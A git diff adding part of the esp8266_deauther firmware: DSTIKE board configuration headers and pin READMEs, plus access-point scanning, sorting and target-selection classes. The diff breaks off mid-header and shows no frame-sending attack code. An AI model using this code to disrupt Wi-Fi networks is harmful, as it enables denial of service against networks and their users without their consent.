Deauther OLED v1.5S + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h new file mode 100755 index 0000000..5f48388 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h @@ -0,0 +1,25 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define DIGITAL_LED +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md new file mode 100755 index 0000000..13217b6 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md @@ -0,0 +1,18 @@ +# DSTIKE Deauther OLED v1 - v1.5 + +| | | +| - | - | +| LED Type | Digital | +| LED R | GPIO 16 | +| LED G | disabled | +| LED B | GPIO 2 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h new file mode 100755 index 0000000..345b7fd --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h @@ -0,0 +1,26 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define DIGITAL_LED + +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md new file mode 100755 index 0000000..0163a36 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md @@ -0,0 +1,18 @@ +# DSTIKE Deauther OLED v2 - v3 + +| | | +| - | - | +| LED Type | Digital | +| LED R | GPIO 16 | +| LED G | disabled | +| LED B | GPIO 2 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h new file mode 100755 index 0000000..19900a6 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h @@ -0,0 +1,26 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md new file mode 100755 index 0000000..2bda2ad --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther OLED v3.5, v4 & DSTIKE Deauth Monster + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h new file mode 100755 index 0000000..f3a5e25 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h @@ -0,0 +1,25 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 4 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md new file mode 100755 index 0000000..c6fe1de --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md @@ -0,0 +1,17 @@ +# DSTIKE USB Deauther v2 + +| | | +| - | - | +| LED Type | Neopixel (WS2812b) | +| LED Pin | GPIO 4 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up | disabled | +| Button Down | disabled | +| Button A | disabled | +| Button B | disabled | diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h new file mode 100755 index 0000000..74ee455 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h @@ -0,0 +1,28 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED +#define HIGHLIGHT_LED 16 + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRBW + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md new file mode 100755 index 0000000..7f33fb7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther Wristband and Deauther Mini + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | 16 | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/Default/A_config.h b/enp8266/esp8266_deauther-master/configs/Default/A_config.h new file mode 100755 index 0000000..a555ee9 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/Default/A_config.h @@ -0,0 +1,83 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +//#define DEFAULT_SSID "pwned" +//#define HIGHLIGHT_LED 16 + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define DIGITAL_LED +//#define RGB_LED +//#define NEOPIXEL_LED + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 14 +#define BUTTON_DOWN 12 +#define BUTTON_A 13 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = +*/ +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/Default/README.md b/enp8266/esp8266_deauther-master/configs/Default/README.md new file mode 100755 index 0000000..7c900fd --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/Default/README.md @@ -0,0 +1,20 @@ +# Default Config +Default configuration for all boards without using a display or RGB LED. +The display can be enabled over the settings. + +| | | +| - | - | +| LED Type | Digital | +| LED R | GPIO 2 | +| LED G | disabled | +| LED B | GPIO 16 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 14 (D5) | +| Button Down | GPIO 12 (D6) | +| Button A | GPIO 13 (D7) | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h new file mode 100755 index 0000000..1590022 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h @@ -0,0 +1,29 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +#define DEFAULT_SSID "Dickbutt " + bytesToStr(&(settings.getMacAP()[3]), 3) + +// ===================== LED CONFIG ==================== // +#define DIGITAL_LED + +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 255 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +#define BUTTON_UP 14 +#define BUTTON_DOWN 12 +#define BUTTON_A 13 + + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md new file mode 100755 index 0000000..7dc0ce1 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md @@ -0,0 +1,22 @@ +# MrRobotBadge Dickbutt Shitty Addon + +-> https://twitter.com/MrRobotBadge + +Has a default SSID "Dickbutt 00:11:22" (00:11:22 = last 3 bytes of the MAC address) + +| | | +| - | - | +| LED Type | Digital | +| LED R | disabled | +| LED G | disabled | +| LED B | 2 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 14 (D5) | +| Button Down | GPIO 12 (D6) | +| Button A | GPIO 13 (D7) | +| Button B |disabled | diff --git a/enp8266/esp8266_deauther-master/configs/README.md b/enp8266/esp8266_deauther-master/configs/README.md new file mode 100755 index 0000000..bdedeca --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/README.md @@ -0,0 +1,26 @@ +# Config Files + +Here you find a bunch of modified config files for different boards. +The default config should be fine for all boards that don't have a display or a RGB LED (like the NodeMCU). + +Copy the `A_config.h` file and paste it in the Arduino sektch and replace the default config file. + +- [Default Config (NodeMCU, Wemos d1 mini, ...)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) + +- DSTIKE Deauther (without OLED) + - [DSTIKE Deauther v1, v2, v3](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) + - [DSTIKE Deauther v3.5](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h) +- DSTIKE Deauther OLED + - [DSTIKE Deauther OLED v1, v1.5](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v1_v1.5/A_config.h) + - [DSTIKE Deauther OLED v1.5S (with RGB)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v1.5S/A_config.h) + - [DSTIKE Deauther OLED v2, v2.5, v3](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h) + - [DSTIKE Deauther OLED v3.5, v4](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h) + - [DSTIKE Deauther OLED Mini](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Wristband_Mini/A_config.h) +- [DSTIKE Deauther Wristband](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Wristband_Mini/A_config.h) +- [DSTIKE Deauther Monster](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h) +- [DSTIKE Deauther Boy](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_Boy/A_config.h) +- [DSTIKE NodeMCU-07 v1](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) +- [DSTIKE NodeMCU-07 v2](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h) +- [DSTIKE USB Deauther v1](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) +- [DSTIKE USB Deauther v2 (with RGB)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_USB_Deauther_v2/A_config.h) +- [DSTIKE D-duino with LED Ring Shield](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h) diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h b/enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h new file mode 100755 index 0000000..e86da7a --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h @@ -0,0 +1,83 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +//#define DEFAULT_SSID "pwned" +//#define HIGHLIGHT_LED 16 + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define DIGITAL_LED +//#define RGB_LED +//#define NEOPIXEL_LED + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 14 +#define BUTTON_DOWN 12 +#define BUTTON_A 13 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = +*/ +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp new file mode 100755 index 0000000..0705a51 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp @@ -0,0 +1,311 @@ +#include "Accesspoints.h" + +Accesspoints::Accesspoints() { + list = new SimpleList; +} + +void Accesspoints::sort() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1; + + if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::sortAfterChannel() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1; + + if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::add(uint8_t id, bool selected) { + list->add(AP{ id, selected }); + changed = true; +} + +void Accesspoints::printAll() { + prntln(AP_HEADER); + int c = count(); + + if (c == 0) prntln(AP_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Accesspoints::printSelected() { + prntln(AP_HEADER); + int max = selected(); + + if (selected() == 0) { + prntln(AP_NO_AP_SELECTED); + return; + } + int c = count(); + int j = 0; + + for (int i = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Accesspoints::print(int num) { + print(num, true, true); +} + +void Accesspoints::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(AP_TABLE_HEADER); + prntln(AP_TABLE_DIVIDER); + } + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getSSID(num), String(), 33)); + prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prnt(leftRight(String(SPACE), (String)getRSSI(num), 5)); + prnt(leftRight(String(SPACE), getEncStr(num), 5)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) { + prntln(AP_TABLE_DIVIDER); + } +} + +String Accesspoints::getSSID(int num) { + if (!check(num)) return String(); + + if (getHidden(num)) { + return str(AP_HIDDEN); + } else { + String ssid = WiFi.SSID(getID(num)); + ssid = ssid.substring(0, 32); + ssid = fixUtf8(ssid); + return ssid; + } +} + +String Accesspoints::getNameStr(int num) { + if (!check(num)) return String(); + + return names.find(getMac(num)); +} + +uint8_t Accesspoints::getCh(int num) { + if (!check(num)) return 0; + + return WiFi.channel(getID(num)); +} + +int Accesspoints::getRSSI(int num) { + if (!check(num)) return 0; + + return WiFi.RSSI(getID(num)); +} + +uint8_t Accesspoints::getEnc(int num) { + if (!check(num)) return 0; + + return WiFi.encryptionType(getID(num)); +} + +String Accesspoints::getEncStr(int num) { + if (!check(num)) return String(); + + switch (getEnc(num)) { + case ENC_TYPE_NONE: + return String(DASH); + + break; + + case ENC_TYPE_WEP: + return str(AP_WEP); + + break; + + case ENC_TYPE_TKIP: + return str(AP_WPA); + + break; + + case ENC_TYPE_CCMP: + return str(AP_WPA2); + + break; + + case ENC_TYPE_AUTO: + return str(AP_AUTO); + + break; + } + return String(QUESTIONMARK); +} + +String Accesspoints::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint8_t* Accesspoints::getMac(int num) { + if (!check(num)) return 0; + + return WiFi.BSSID(getID(num)); +} + +String Accesspoints::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); +} + +String Accesspoints::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(getMac(num)); +} + +bool Accesspoints::getHidden(int num) { + if (!check(num)) return false; + + return WiFi.isHidden(getID(num)); +} + +bool Accesspoints::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +uint8_t Accesspoints::getID(int num) { + if (!check(num)) return -1; + + return list->get(num).id; +} + +void Accesspoints::select(int num) { + if (!check(num)) return; + + internal_select(num); + + prnt(AP_SELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::deselect(int num) { + if (!check(num)) return; + + internal_deselect(num); + + prnt(AP_DESELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::remove(int num) { + if (!check(num)) return; + + prnt(AP_REMOVED); + prntln(getSSID(num)); + + internal_remove(num); + + changed = true; +} + +void Accesspoints::select(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) select(i); + } +} + +void Accesspoints::deselect(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i); + } +} + +void Accesspoints::remove(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) remove(i); + } +} + +void Accesspoints::selectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true }); + prntln(AP_SELECTED_ALL); + changed = true; +} + +void Accesspoints::deselectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false }); + prntln(AP_DESELECTED_ALL); + changed = true; +} + +void Accesspoints::removeAll() { + while (count() > 0) internal_remove(0); + prntln(AP_REMOVED_ALL); + changed = true; +} + +int Accesspoints::find(uint8_t id) { + int s = list->size(); + + for (int i = 0; i < s; i++) { + if (list->get(i).id == id) return i; + } + return -1; +} + +int Accesspoints::count() { + return list->size(); +} + +int Accesspoints::selected() { + int c = 0; + + for (int i = 0; i < list->size(); i++) c += list->get(i).selected; + return c; +} + +bool Accesspoints::check(int num) { + if (internal_check(num)) return true; + + prnt(AP_NO_AP_ERROR); + prntln((String)num); + return false; +} + +bool Accesspoints::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Accesspoints::internal_select(int num) { + list->replace(num, AP{ list->get(num).id, true }); +} + +void Accesspoints::internal_deselect(int num) { + list->replace(num, AP{ list->get(num).id, false }); +} + +void Accesspoints::internal_remove(int num) { + list->remove(num); +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h new file mode 100755 index 0000000..84cc3a0 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h @@ -0,0 +1,81 @@ +#ifndef Accesspoints_h +#define Accesspoints_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "SimpleList.h" +#include "Names.h" + +extern Names names; + +extern String searchVendor(uint8_t* mac); +extern String leftRight(String a, String b, int len); +extern String fixUtf8(String str); +extern String bytesToStr(uint8_t* b, uint32_t size); + +struct AP { + uint8_t id; + bool selected; +}; + +class Accesspoints { + public: + Accesspoints(); + + void sort(); + void sortAfterChannel(); + + void add(uint8_t id, bool selected); + + void print(int num); + void print(int num, bool header, bool footer); + + void select(int num); + void deselect(int num); + void remove(int num); + void select(String ssid); + void deselect(String ssid); + void remove(String ssid); + + void printAll(); + void printSelected(); + void selectAll(); + void 